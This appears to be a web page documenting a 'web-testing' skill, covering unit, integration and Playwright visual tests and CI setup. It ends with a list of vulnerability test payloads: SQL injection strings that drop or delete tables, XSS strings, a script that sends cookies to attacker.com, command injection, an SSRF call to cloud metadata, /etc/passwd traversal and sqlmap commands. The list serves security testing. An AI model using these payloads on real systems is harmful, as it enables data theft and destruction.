| Priority | Category | Examples |
|---|---|---|
| P0 | Core flows | Signup, login, checkout |
| P1 | Major features | Search, CRUD, nav |
| P2 | Secondary | Filters, sorting |
| P3 | Edge cases | Empty states, limits |
When to Use Each
- Unit: Pure functions, utilities, state logic
- Integration: API endpoints, database ops, modules
- E2E: Critical journeys, checkout, payments
CI/CD Order
- run: npm run test:unit # Gate 1: Fast fail
- run: npm run test:integration # Gate 2
- run: npm run test:e2e # Gate 3: Pre-mergeCoverage Targets
| Area | Target |
|---|---|
| Critical paths | 100% |
| Core features | 80-90% |
| Overall | 75-85% |
Unit & Integration Testing
Framework Selection
| Framework | Speed | Best For |
|---|---|---|
| Vitest | Fastest | Modern projects |
| Jest | Fast | React/CRA |
| Mocha | Raw speed | Node.js/APIs |
Test Structure (AAA)
import { describe, it, expect, beforeEach } from 'vitest';
describe('UserService', () => {
let service: UserService;
beforeEach(() => {
service = new UserService();
});
it('creates user with valid data', () => {
// Arrange
const userData = { email: 'test@example.com' };
// Act
const user = service.create(userData);
// Assert
expect(user.id).toBeDefined();
expect(user.email).toBe('test@example.com');
});
it('throws on invalid email', () => {
expect(() => service.create({ email: 'invalid' }))
.toThrow('Invalid email');
});
});Integration Test
describe('User API', () => {
let db: Database;
beforeAll(async () => {
db = new Database(':memory:');
await db.migrate();
});
afterEach(async () => {
await db.clearAllTables();
});
it('persists and retrieves user', async () => {
await db.users.insert({ email: 'test@example.com' });
const user = await db.users.findOne({ email: 'test@example.com' });
expect(user).toBeDefined();
});
});Test Naming
// Good
it('should return 200 when valid token provided');
it('should throw ValidationError when email invalid');
// Bad
it('test1');Coverage Targets
| Area | Target |
|---|---|
| Critical paths | 100% |
| Core features | 80-90% |
| Overall | 75-85% |
Commands
npx vitest run # Run all
npx vitest # Watch mode
npx vitest run --coverage # Coverage
npx vitest run -u # Update snapshotsVisual Regression Testing
Playwright Screenshot Comparison
import { test, expect } from '@playwright/test';
test('homepage visual', async ({ page }) => {
await page.goto('http://localhost:3000');
await expect(page).toHaveScreenshot('homepage.png');
});
test('component visual', async ({ page }) => {
await page.goto('http://localhost:3000');
const header = page.locator('header');
await expect(header).toHaveScreenshot('header.png');
});
test('with threshold', async ({ page }) => {
await page.goto('http://localhost:3000');
await expect(page).toHaveScreenshot('page.png', {
maxDiffPixels: 100,
maxDiffPixelRatio: 0.01,
});
});Configuration
// playwright.config.ts
export default defineConfig({
expect: {
toHaveScreenshot: { maxDiffPixels: 50, threshold: 0.2 },
},
projects: [
{ name: 'chromium', use: { ...devices['Desktop Chrome'] } },
{ name: 'mobile', use: { ...devices['iPhone 12'] } },
],
});Commands
npx playwright test --update-snapshots # Update all
npx playwright test visual.spec.ts -u # Update specificWorkflow
1. Baseline: First run creates reference screenshots 2. Compare: Subsequent runs compare against baseline 3. Review: Check diff images on failure 4. Approve: Update snapshots if change is intentional
Best Practices
- Test critical UI components individually
- Use consistent viewport sizes
- Disable animations:
animation-duration: 0s !important - Mock dynamic content (dates, random data)
- Run on CI with consistent environment
Third-Party Tools
| Tool | Use Case |
|---|---|
| Percy | Cloud-based, BrowserStack integration |
| Chromatic | Storybook visual testing |
| Playwright | Built-in, no vendor lock-in |
CI Integration
- name: Visual Tests
run: npx playwright test --grep @visual
- uses: actions/upload-artifact@v4
if: failure()
with:
name: visual-diffs
path: test-results/Visual vs Accessibility
| Aspect | Visual | Accessibility |
|---|---|---|
| Catches | Layout, colors | Semantic, ARIA |
| Method | Pixel diff | DOM analysis |
Use both: Visual misses semantic issues, a11y misses layout bugs.
Vulnerability Test Payloads
SQL Injection
Text Input
' OR '1'='1
' OR 1=1 --
'; DROP TABLE users; --
' UNION SELECT NULL, NULL --Numeric Input
1 OR 1=1
1; DELETE FROM users; --Blind (Time-based)
' OR SLEEP(5) --
' AND (SELECT(SLEEP(5)))a --XSS (Cross-Site Scripting)
Reflected
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg/onload=alert('XSS')>
"><script>alert('XSS')</script>DOM-based
javascript:alert('XSS')
<iframe src="javascript:alert('XSS')"></iframe>Cookie Theft
<script>fetch('http://attacker.com/?c='+document.cookie)</script>NoSQL Injection (MongoDB)
{"$ne": null}
{"$gt": ""}
{"$regex": ".*"}
{"$where": "1==1"}Command Injection
; ls -la
| whoami
`whoami`
$(whoami)SSRF
http://localhost/admin
http://127.0.0.1/admin
http://169.254.169.254/ # AWS metadataPath Traversal
../../../etc/passwd
..%2F..%2F..%2Fetc%2FpasswdCSRF Testing
1. Submit form without CSRF token 2. Reuse captured token multiple times 3. Modify/remove token parameter
Testing Tools
# SQLMap
sqlmap -u "http://example.com/page?id=1" --dbs
# OWASP ZAP active scan
zap-cli active-scan http://example.comRelated skills
How it compares
Pick web-testing over chrome-devtools alone when you need full pyramid planning—Vitest unit gates, Playwright E2E, k6 load, and axe/Lighthouse quality checks in one skill.
FAQ
Which frameworks does web-testing use?
web-testing centers on Vitest or Jest for unit and integration tests, Playwright for E2E flows, k6 for load testing, `@axe-core/cli` for accessibility, and Lighthouse for performance and Core Web Vitals.
What testing pyramid does web-testing recommend?
web-testing recommends roughly 70% unit tests under 50ms, 20% integration tests at 100–500ms, and 10% Playwright E2E tests at 5–30s per spec, prioritizing fast fail gates in CI.
When should web-testing run E2E versus unit tests?
web-testing assigns unit tests to functions and state logic, integration tests to API and database modules, and Playwright E2E to critical user flows such as login, checkout, and payment before release.